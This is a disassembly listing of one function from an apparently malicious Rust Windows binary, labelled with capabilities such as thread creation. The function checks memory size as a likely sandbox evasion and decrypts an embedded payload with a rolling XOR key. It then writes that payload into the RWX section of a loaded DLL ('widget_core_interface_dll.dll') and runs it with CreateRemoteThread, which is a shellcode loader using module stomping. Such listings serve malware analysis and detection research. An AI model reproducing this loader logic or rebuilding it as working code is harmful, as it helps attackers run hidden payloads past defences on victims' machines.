Function at 0x401ee0
Capabilities:
Check if file exists
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x248
lea r14, [rsp + 0x40]
mov rcx, r14
call sym.sysinfo::common::RefreshKind::everything::h54c9c8d13bc4eaf0
lea rsi, [rsp + 0x90]
mov rcx, rsi
mov rdx, r14
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::new_with_specifics::h0b2e6aac2bf6bc51
mov rcx, rsi
call sym.sysinfo::traits::SystemExt::refresh_all::h2c0670ba3b6ea3d8
lea rcx, [rsp + 0x90]
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::total_memory::h1a1a6a03ea4c576b
shr rax, 0xb
cmp rax, 0x1dcd64
jbe 0x402777
lea rcx, [rsp + 0x90]
call sym.core::ptr::drop_in_place_sysinfo::windows::system::System_::h5fb75486acca91ed
lea rax, str..widget_core_interface_dll.dll
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0x1f
mov rdi, qword [0x005757d8]
movzx eax, byte [rdi]
mov ecx, 0x42374
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x402783
mov rsi, rax
lea rdx, [0x004ff01f]
mov r8d, 0x42374
mov rcx, rax
call sym.memcpy
movzx eax, byte [rdi]
mov ecx, 0x42374
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x402794
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0x42374
mov qword [rsp + 0xa0], 0
movzx eax, byte [rdi]
mov ecx, 8
mov edx, 2
call sym.__rust_alloc
test rax, rax
je 0x4027a8
mov r12, rax
movabs rax, 0x90007700d300c7
mov qword [r12], rax
xor ebx, ebx
mov r15, qword [rsp + 0xa0]
lea rdi, [rsp + 0x90]
jmp 0x402060
inc rbx
mov rax, qword [rsp + 0x90]
mov byte [rax + r15], bpl
mov r15, qword [rsp + 0xa0]
inc r15
mov qword [rsp + 0xa0], r15
movzx eax, word [r12 + r13*2]
lea ecx, [rax + 0x4c]
movzx ecx, cx
imul ecx, ecx, 0x8081
shr ecx, 0x17
mov edx, ecx
shl edx, 8
sub ecx, edx
add eax, ecx
add eax, 0x4c
mov word [r12 + r13*2], ax
cmp rbx, 0x42374
je 0x40208e
mov r13d, ebx
and r13d, 3
movzx ebp, byte [rsi + rbx]
xor bpl, byte [r12 + r13*2]
cmp r15, qword [rsp + 0x98]
jne 0x402010
mov rcx, rdi
mov rdx, r15
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h168cd1d16d1f340f
mov r15, qword [rsp + 0xa0]
jmp 0x402010
mov rbx, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x98]
mov edx, 8
mov r8d, 2
mov rcx, r12
call sym.__rust_dealloc
lea rax, [rsp + 0x70]
mov qword [rsp + 0x230], rax
lea r13, [rsp + 0x230]
mov qword [rsp + 0x40], r13
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h134f798757e84a0f]
mov qword [rsp + 0x48], rax
lea rax, str.Loading_DLL__n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x90]
call dbg._print
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rcx
mov word [rsp + 0xa0], 0
mov dword [rsp + 0xa8], 1
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x90]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17hcf1fb54d0f
mov r12, qword [rsp + 0x40]
mov rcx, r12
call sub.KERNEL32.dll_LoadLibraryW
mov r14, rax
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x40218e
add rdx, rdx
mov r8d, 2
mov rcx, r12
call sym.__rust_dealloc
test r14, r14
je 0x4027bc
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea r12, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
mov r8, r12
mov r9d, 0x18
call sub.PSAPI.DLL_GetModuleInformation
test eax, eax
je 0x402800
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x240], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x40], r13
lea rax, [sym.__mut_T_as_core::fmt::Debug_::fmt::h26d9ad75844a7ba8]
mov qword [rsp + 0x48], rax
lea rax, str.LPBaseOfDll
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x90]
call dbg._print
lea rdx, str.3b4000Error_while_converting_to_integer_:
lea r14, [rsp + 0x40]
mov r8d, 6
mov rcx, r14
call dbg.from_utf8_lossy
mov rbp, qword [rsp + 0x40]
mov r13, qword [rsp + 0x48]
test rbp, rbp
mov rdx, rbp
cmove rdx, r13
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x80]
mov r9d, 0x10
call sym.core::num::__impl_u64_::from_str_radix::h4819046fe00fb845
cmp byte [rsp + 0x80], 0
je 0x40230a
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x3f], al
lea rax, [rsp + 0x3f]
mov qword [rsp + 0x58], rax
lea rax, [sym.__core::num::error::ParseIntError_as_core::fmt::Display_::fmt::h5e6d5403e485fe28]
mov qword [rsp + 0x60], rax
lea rax, [0x005414b0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x90]
call dbg._print
xor r12d, r12d
test rbp, rbp
jne 0x402317
jmp 0x40232d
mov r12, qword [rsp + 0x88]
test rbp, rbp
je 0x40232d
test r13, r13
je 0x40232d
mov r8d, 1
mov rcx, rbp
mov rdx, r13
call sym.__rust_dealloc
add r12, qword [rsp + 0x230]
lea rax, str.Writing_into_memory_section_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rbp, str..widget_core_interface_dll.dll
mov qword [rsp + 0xa0], rbp
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
mov rcx, r12
mov rdx, rbx
mov r8, r15
call sym.memcpy
test r12, r12
je 0x402636
call sub.KERNEL32.dll_GetCurrentProcess
mov r15, rax
lea rax, str.Create_thread_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], rbp
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, r15
xor edx, edx
xor r8d, r8d
mov r9, r12
call sub.KERNEL32.dll_CreateRemoteThread
mov r12, rax
lea rax, str.Wait_for_thread_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], rbp
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
cmp r12, 0xffffffffffffffff
je 0x402676
mov rcx, r15
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
cmp eax, 0xffffffff
jne 0x402523
call sym.std::sys::windows::os::errno::h6cf20e6695772fe7
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hcbe3082c12c8800e]
mov qword [rsp + 0x48], rax
lea rax, str.WaitForSingleObject_failed:
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x90]
call dbg._print
mov rax, qword [rsp + 0x58]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x402523
test rcx, rcx
je 0x402523
lea rcx, [rax - 1]
mov qword [rsp + 0x68], rcx
mov r13, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r13
call qword [r15]
mov rdx, qword [r15 + 8]
test rdx, rdx
je 0x40250e
mov r8, qword [r15 + 0x10]
mov rcx, r13
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rsp + 0x68]
call sym.__rust_dealloc
mov rcx, r12
call fcn.004fb96c
test eax, eax
jne 0x4025f6
call sym.std::sys::windows::os::errno::h6cf20e6695772fe7
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hcbe3082c12c8800e]
mov qword [rsp + 0x48], rax
lea rax, str.Failed_to_close_thread_handle:
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x90]
call dbg._print
mov rax, qword [rsp + 0x58]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x4025f6
test rcx, rcx
je 0x4025f6
lea r14, [rax - 1]
mov r13, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r13
call qword [r15]
mov rdx, qword [r15 + 8]
test rdx, rdx
je 0x4025e3
mov r8, qword [r15 + 0x10]
mov rcx, r13
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
lea rax, str.Job_done_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], rbp
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
jmp 0x402739
lea rax, str.RWX_section_address_is_null._n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], rbp
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
jmp 0x402739
call sym.std::sys::windows::os::errno::h6cf20e6695772fe7
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hcbe3082c12c8800e]
mov qword [rsp + 0x48], rax
lea rax, str.Failed_to_create_remote_thread:
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], 1
lea rcx, [rsp + 0x90]
call dbg._print
mov rax, qword [rsp + 0x58]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x402739
test rcx, rcx
je 0x402739
lea r14, [rax - 1]
mov r13, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r13
call qword [r15]
mov rdx, qword [r15 + 8]
test rdx, rdx
je 0x402726
mov r8, qword [r15 + 0x10]
mov rcx, r13
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
test rdi, rdi
je 0x40274f
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call sym.__rust_dealloc
mov edx, 0x42374
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
nop
add rsp, 0x248
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
call dbg.exit
jmp 0x402849
mov ecx, 1
mov edx, 0x42374
call dbg.handle_alloc_error
ud2
mov ecx, 1
mov edx, 0x42374
call dbg.handle_alloc_error
jmp 0x402849
mov ecx, 2
mov edx, 8
call dbg.handle_alloc_error
jmp 0x402849
lea rax, str.Failed_to_load_the_DLL._n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rax, str..widget_core_interface_dll.dll
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
jmp 0x402842
lea rax, str.Failed_to_get_module_information._n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rax, str..widget_core_interface_dll.dll
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xa8], xmm0
lea rcx, [rsp + 0x90]
call dbg._print
xor ecx, ecx
call dbg.exit
ud2